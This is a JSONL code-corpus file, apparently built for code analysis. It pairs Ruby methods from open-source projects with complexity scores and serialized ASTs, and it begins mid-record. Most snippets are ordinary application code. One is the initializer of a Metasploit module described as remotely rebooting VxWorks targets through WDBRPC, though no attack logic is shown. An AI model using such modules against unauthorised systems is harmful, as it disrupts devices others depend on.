\"errors\"]},\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger\"]},\"errors\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"lvar\",\"children\":[\"trigger\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"validation_error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected Ci::Trigger creation failure. Description: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@description\"]}]}]}]}]}]}]}]}","id":"2ecffe78-1e83-4d52-abc2-7411be068d3b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/guilded/guilded_provider.rb","start_line":96,"raw_source":"def self.get_channel_by_name(name)\n        DiscourseChatIntegration::Channel\n          .with_provider(PROVIDER_NAME)\n          .with_data_value(CHANNEL_IDENTIFIER_KEY, name)\n          .first\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_channel_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Channel\"]},\"with_provider\",{\"type\":\"const\",\"children\":[null,\"PROVIDER_NAME\"]}]},\"with_data_value\",{\"type\":\"const\",\"children\":[null,\"CHANNEL_IDENTIFIER_KEY\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"first\"]}]}","id":"7387647b-087d-465e-9e4d-f79eefe02a08"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/ask_before_destruction.rb","start_line":36,"raw_source":"def self.included(base)\n    base.extend(ClassMethods)\n\n    base.class_attribute :registered_associated_to_ask_before_destruction\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_attribute\",{\"type\":\"sym\",\"children\":[\"registered_associated_to_ask_before_destruction\"]}]}]}]}","id":"cc84ccce-e887-4bb6-827d-06dd24553882"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/events/base.rb","start_line":27,"raw_source":"def fetch_events\n          events_returned = nil\n          Support::Waiter.wait_until(max_duration: max_wait, raise_on_failure: raise_on_failure) do\n            events_returned = yield\n            events_returned.any?\n          end\n\n          raise EventNotFoundError, \"Timed out waiting for events\" unless events_returned\n\n          events_returned\n        end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events_returned\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_duration\"]},{\"type\":\"send\",\"children\":[null,\"max_wait\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_failure\"]},{\"type\":\"send\",\"children\":[null,\"raise_on_failure\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events_returned\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events_returned\"]},\"any?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events_returned\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"EventNotFoundError\"]},{\"type\":\"str\",\"children\":[\"Timed out waiting for events\"]}]}]},{\"type\":\"lvar\",\"children\":[\"events_returned\"]}]}]}","id":"c603687d-0c6f-49cc-83ae-462d1d1267af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/authorize/authorize_resource.rb","start_line":70,"raw_source":"def raise_resource_not_available_error!(...)\n          self.class.raise_resource_not_available_error!(...)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_resource_not_available_error!\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"raise_resource_not_available_error!\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"82efdb36-c9f5-4d20-ae4b-d3fa089a088d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/acts_as_ar_model.rb","start_line":62,"raw_source":"def has_attribute?(name)\n        load_schema\n        attribute_types.key?(name.to_s)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_attribute?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_schema\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_types\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]}","id":"9d34fe53-5b94-4f32-b135-c835c8317e21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/secure/configuration_form.rb","start_line":95,"raw_source":"def enable_reg_scan\n            card = find_security_testing_card('Container Scanning For Registry')\n            within(card) do\n              # The GitLabUI toggle uses a Close Icon button\n              click_element('close-xs-icon')\n            end\n          end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_reg_scan\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"card\",{\"type\":\"send\",\"children\":[null,\"find_security_testing_card\",{\"type\":\"str\",\"children\":[\"Container Scanning For Registry\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"lvar\",\"children\":[\"card\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"close-xs-icon\"]}]}]}]}]}","id":"d9d9df00-6d12-477a-8fd6-0359a246d625"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":792,"raw_source":"def test_push_with_invalid_record\n    firm = companies(:first_firm)\n    assert_raises(ActiveRecord::RecordInvalid) { firm.developers << Developer.new(name: \"0\") }\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_push_with_invalid_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"developers\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]}]}]}]}","id":"81256eff-327b-4dc3-bea2-d4ec9f9813b0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/export_user_archive.rb","start_line":488,"raw_source":"def get_header(entity)\n      if entity == \"user_list\"\n        header_array =\n          HEADER_ATTRS_FOR[\"user_list\"] + HEADER_ATTRS_FOR[\"user_stats\"] +\n            HEADER_ATTRS_FOR[\"user_profile\"]\n        header_array.concat(HEADER_ATTRS_FOR[\"user_sso\"]) if SiteSetting.enable_discourse_connect\n        user_custom_fields = UserField.all\n        if user_custom_fields.present?\n          user_custom_fields.each do |custom_field|\n            header_array.push(\"#{custom_field.name} (custom user field)\")\n          end\n        end\n        header_array.push(\"group_names\")\n      else\n        header_array = HEADER_ATTRS_FOR[entity]\n      end\n\n      header_array\n    end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"==\",{\"type\":\"str\",\"children\":[\"user_list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header_array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HEADER_ATTRS_FOR\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_list\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HEADER_ATTRS_FOR\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_stats\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HEADER_ATTRS_FOR\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_profile\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_discourse_connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_array\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HEADER_ATTRS_FOR\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_sso\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_custom_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserField\"]},\"all\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_custom_fields\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_custom_fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_array\"]},\"push\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (custom user field)\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_array\"]},\"push\",{\"type\":\"str\",\"children\":[\"group_names\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header_array\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HEADER_ATTRS_FOR\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"header_array\"]}]}]}","id":"4be0f7d0-c007-4e6d-8983-c7cb8d2b6699"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/resource.rb","start_line":46,"raw_source":"def cmd_resource(*args)\n            if args.empty?\n              cmd_resource_help\n              return false\n            end\n\n            args.each do |res|\n              res_expand = ::File.expand_path(res)\n              good_res = nil\n              if res == '-'\n                good_res = res\n              elsif ::File.file?(res_expand) && File.readable?(res_expand)\n                good_res = res_expand\n              else\n                # let's check to see if it's in the scripts/resource dir (like when tab completed)\n                [\n                  ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource',\n                  ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource'\n                ].each do |dir|\n                  res_path = dir + ::File::SEPARATOR + res\n                  if ::File.file?(res_path) && File.readable?(res_path)\n                    good_res = res_path\n                    break\n                  end\n                end\n              end\n              if good_res\n                driver.load_resource(good_res)\n              else\n                print_error(\"#{res} is not a valid resource file\")\n                next\n              end\n            end\n          end","complexity_score":51.7,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_resource\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_resource_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res_expand\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"good_res\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"lvasgn\",\"children\":[\"good_res\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"res_expand\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readable?\",{\"type\":\"lvar\",\"children\":[\"res_expand\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"good_res\",{\"type\":\"lvar\",\"children\":[\"res_expand\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Config\"]},\"script_directory\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"SEPARATOR\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"resource\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Config\"]},\"user_script_directory\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"SEPARATOR\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"resource\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"SEPARATOR\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"res_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readable?\",{\"type\":\"lvar\",\"children\":[\"res_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"good_res\",{\"type\":\"lvar\",\"children\":[\"res_path\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"good_res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"load_resource\",{\"type\":\"lvar\",\"children\":[\"good_res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"str\",\"children\":[\" is not a valid resource file\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]}]}]}]}]}","id":"102403da-a3f1-4983-9a5f-1ee1aca5d9d3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/problem_check/sidekiq_check.rb","start_line":31,"raw_source":"def jobs_in_queue?\n    Jobs.queued > 0\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"jobs_in_queue?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"queued\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"bb8e0ce3-5be7-49ff-9c6f-86800d8f34eb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/conditional_assignment.rb","start_line":20,"raw_source":"def expand_elses(branch)\n          elsif_branches = expand_elsif(branch)\n          else_branch = elsif_branches.any? ? elsif_branches.pop : branch\n          [elsif_branches, else_branch]\n        end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_elses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"elsif_branches\",{\"type\":\"send\",\"children\":[null,\"expand_elsif\",{\"type\":\"lvar\",\"children\":[\"branch\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"else_branch\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elsif_branches\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elsif_branches\"]},\"pop\"]},{\"type\":\"lvar\",\"children\":[\"branch\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elsif_branches\"]},{\"type\":\"lvar\",\"children\":[\"else_branch\"]}]}]}]}","id":"f4b32700-f23e-4d58-ba14-005934c21227"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/dsl.rb","start_line":58,"raw_source":"def self.expose_globally!\n        return if exposed_globally?\n\n        example_group_aliases.each do |method_name|\n          expose_example_group_alias_globally(method_name)\n        end\n\n        @exposed_globally = true\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"expose_globally!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exposed_globally?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"example_group_aliases\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"send\",\"children\":[null,\"expose_example_group_alias_globally\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exposed_globally\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"00d8bc7f-ab16-49b7-9a08-6a1b8caa1e63"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VxWorks WDB Agent Remote Reboot',\n        'Description' => %q{\n          This module provides the ability to reboot a VxWorks target through WDBRPC.\n        },\n        'Author' => [ 'hdm'],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['OSVDB', '66842'],\n          ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],\n          ['US-CERT-VU', '362332']\n        ],\n        'Actions' => [\n          ['Reboot', { 'Description' => 'Reboot target' }]\n        ],\n        'DefaultAction' => 'Reboot',\n        'Notes' => {\n          'Stability' => [CRASH_OS_RESTARTS],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptInt.new('CONTEXT', [ true, 'The context to terminate (0=system reboot)', 0 ])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VxWorks WDB Agent Remote Reboot\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module provides the ability to reboot a VxWorks target through WDBRPC.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"66842\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"362332\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Reboot\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Reboot target\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Reboot\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_OS_RESTARTS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"CONTEXT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The context to terminate (0=system reboot)\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"e26574b8-1a44-41f6-8552-19a704b91eb5"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail/position_file.rb","start_line":25,"raw_source":"def self.load(file, follow_inodes, existing_targets, logger:)\n        pf = new(file, follow_inodes, logger: logger)\n        pf.load(existing_targets)\n        pf\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"follow_inodes\"]},{\"type\":\"arg\",\"children\":[\"existing_targets\"]},{\"type\":\"kwarg\",\"children\":[\"logger\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pf\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"follow_inodes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pf\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"existing_targets\"]}]},{\"type\":\"lvar\",\"children\":[\"pf\"]}]}]}","id":"323aa7b5-fad9-4e93-83d8-558015b84980"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/imports/broadcaster.rb","start_line":18,"raw_source":"def broadcast_status_update\n    ImportsChannel.broadcast_to(\n      import.user,\n      {\n        action: 'status_update',\n        import: {\n          id: import.id,\n          status: import.status\n        }\n      }\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"broadcast_status_update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImportsChannel\"]},\"broadcast_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"status_update\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"status\"]}]}]}]}]}]}]}","id":"7d55ca9a-4efb-425a-880d-411b5acb6b2e"}
